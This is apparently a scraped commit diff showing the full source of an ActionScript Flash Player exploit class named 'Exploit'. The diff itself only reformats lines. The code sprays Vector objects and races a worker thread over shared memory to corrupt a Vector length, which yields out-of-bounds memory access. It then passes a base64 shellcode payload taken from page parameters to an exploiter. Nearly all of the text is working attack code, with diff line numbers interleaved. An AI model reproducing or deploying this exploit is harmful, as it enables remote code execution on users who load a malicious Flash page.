12
12
13
13
package
14
14
{
15
- import flash.display.Sprite
16
- import flash.events.Event
17
- import flash.utils.ByteArray
18
- import flash.system.Worker
19
- import flash.system.WorkerDomain
20
- import flash.system.MessageChannel
21
- import flash.system.ApplicationDomain
22
- import avm2.intrinsics.memory.casi32
23
- import flash.display.LoaderInfo
24
- import mx.utils.Base64Decoder
15
+ import flash.display.Sprite
16
+ import flash.events.Event
17
+ import flash.utils.ByteArray
18
+ import flash.system.Worker
19
+ import flash.system.WorkerDomain
20
+ import flash.system.MessageChannel
21
+ import flash.system.ApplicationDomain
22
+ import avm2.intrinsics.memory.casi32
23
+ import flash.display.LoaderInfo
24
+ import mx.utils.Base64Decoder
25
25
26
- public class Exploit extends Sprite
27
- {
28
- private var ov: Vector .< Object > = new Vector .< Object > (25600 )
29
- private var uv: Vector .< uint > = new Vector .< uint >
30
- private var ba: ByteArray = new ByteArray ()
31
- private var b64: Base64Decoder = new Base64Decoder ()
32
- private var worker: Worker
33
- private var mc: MessageChannel
34
- private var payload: ByteArray
35
- private var platform: String
36
- private var os: String
37
- private var exploiter: Exploiter
26
+ public class Exploit extends Sprite
27
+ {
28
+ private var ov: Vector .< Object > = new Vector .< Object > (25600 )
29
+ private var uv: Vector .< uint > = new Vector .< uint >
30
+ private var ba: ByteArray = new ByteArray ()
31
+ private var b64: Base64Decoder = new Base64Decoder ()
32
+ private var worker: Worker
33
+ private var mc: MessageChannel
34
+ private var payload: ByteArray
35
+ private var platform: String
36
+ private var os: String
37
+ private var exploiter: Exploiter
38
38
39
- public function Exploit ()
40
- {
41
- if (Worker. current . isPrimordial) mainThread()
42
- else workerThread()
43
- }
39
+ public function Exploit ()
40
+ {
41
+ if (Worker. current . isPrimordial) mainThread()
42
+ else workerThread()
43
+ }
44
44
45
- private function mainThread ():void
46
- {
47
- platform = LoaderInfo (this . root . loaderInfo ). parameters . pl
48
- os = LoaderInfo (this . root . loaderInfo ). parameters . os
49
- var b64_payload: String = LoaderInfo (this . root . loaderInfo ). parameters . sh
50
- var pattern: RegExp = / / g ;
51
- b64_payload = b64_payload. replace (pattern, "+" )
52
- b64. decode (b64_payload)
53
- payload = b64. toByteArray ()
45
+ private function mainThread ():void
46
+ {
47
+ platform = LoaderInfo (this . root . loaderInfo ). parameters . pl
48
+ os = LoaderInfo (this . root . loaderInfo ). parameters . os
49
+ var b64_payload: String = LoaderInfo (this . root . loaderInfo ). parameters . sh
50
+ var pattern: RegExp = / / g ;
51
+ b64_payload = b64_payload. replace (pattern, "+" )
52
+ b64. decode (b64_payload)
53
+ payload = b64. toByteArray ()
54
54
55
- ba. length = 0x1000
56
- ba. shareable = true
57
- for (var i: uint = 0 ; i < ov. length ; i++ ) {
58
- ov[ i] = new Vector .< uint > (1014 )
59
- ov[ i][ 0 ] = 0xdeedbeef
60
- }
61
- for (i = 0 ; i < ov. length ; i += 2 ) delete (ov[ i] )
62
- worker = WorkerDomain. current . createWorker(this . loaderInfo . bytes )
63
- mc = worker. createMessageChannel(Worker. current )
64
- mc. addEventListener (Event . CHANNEL_MESSAGE , onMessage)
65
- worker. setSharedProperty("mc" , mc)
66
- worker. setSharedProperty("ba" , ba)
67
- ApplicationDomain . currentDomain . domainMemory = ba
68
- worker. start ()
69
- }
55
+ ba. length = 0x1000
56
+ ba. shareable = true
57
+ for (var i: uint = 0 ; i < ov. length ; i++ ) {
58
+ ov[ i] = new Vector .< uint > (1014 )
59
+ ov[ i][ 0 ] = 0xdeedbeef
60
+ }
61
+ for (i = 0 ; i < ov. length ; i += 2 ) delete (ov[ i] )
62
+ worker = WorkerDomain. current . createWorker(this . loaderInfo . bytes )
63
+ mc = worker. createMessageChannel(Worker. current )
64
+ mc. addEventListener (Event . CHANNEL_MESSAGE , onMessage)
65
+ worker. setSharedProperty("mc" , mc)
66
+ worker. setSharedProperty("ba" , ba)
67
+ ApplicationDomain . currentDomain . domainMemory = ba
68
+ worker. start ()
69
+ }
70
70
71
- private function workerThread ():void
72
- {
73
- var ba: ByteArray = Worker. current . getSharedProperty("ba" )
74
- var mc: MessageChannel = Worker. current . getSharedProperty("mc" )
75
- var tmp: ByteArray = new ByteArray ()
76
- tmp. length = 0x2000
71
+ private function workerThread ():void
72
+ {
73
+ var ba: ByteArray = Worker. current . getSharedProperty("ba" )
74
+ var mc: MessageChannel = Worker. current . getSharedProperty("mc" )
75
+ var tmp: ByteArray = new ByteArray ()
76
+ tmp. length = 0x2000
77
77
78
- for (var i: uint = 0 ; i < 20 ; i++ ) {
79
- new Vector .< uint > (1022 )
80
- }
78
+ for (var i: uint = 0 ; i < 20 ; i++ ) {
79
+ new Vector .< uint > (1022 )
80
+ }
81
81
82
- ba. writeBytes (tmp)
83
- ov[ 0 ] = new Vector .< uint > (1022 )
82
+ ba. writeBytes (tmp)
83
+ ov[ 0 ] = new Vector .< uint > (1022 )
84
84
85
- mc. send ("" )
86
- while (mc. messageAvailable);
85
+ mc. send ("" )
86
+ while (mc. messageAvailable);
87
87
88
- for (i = 0 ;; i++ ) {
89
- if (ov[ 0 ][ i] == 1014 && ov[ 0 ][ i + 2 ] == 0xdeedbeef ) {
90
- ov[ 0 ][ i] = 0xffffffff
91
- break
92
- }
93
- }
94
- ov[ 0 ][ 0xfffffffe ] = 1014
88
+ for (i = 0 ;; i++ ) {
89
+ if (ov[ 0 ][ i] == 1014 && ov[ 0 ][ i + 2 ] == 0xdeedbeef ) {
90
+ ov[ 0 ][ i] = 0xffffffff
91
+ break
92
+ }
93
+ }
94
+ ov[ 0 ][ 0xfffffffe ] = 1014
95
95
96
- mc. send ("" )
97
- }
96
+ mc. send ("" )
97
+ }
98
98
99
99
private function onMessage (e :Event ):void
100
100
{
@@ -119,5 +119,5 @@ package
119
119
exploiter = new Exploiter(this , platform, os , payload, uv)
120
120
}
121
121
}
122
- }
122
+ }
123
123
}
0 commit comments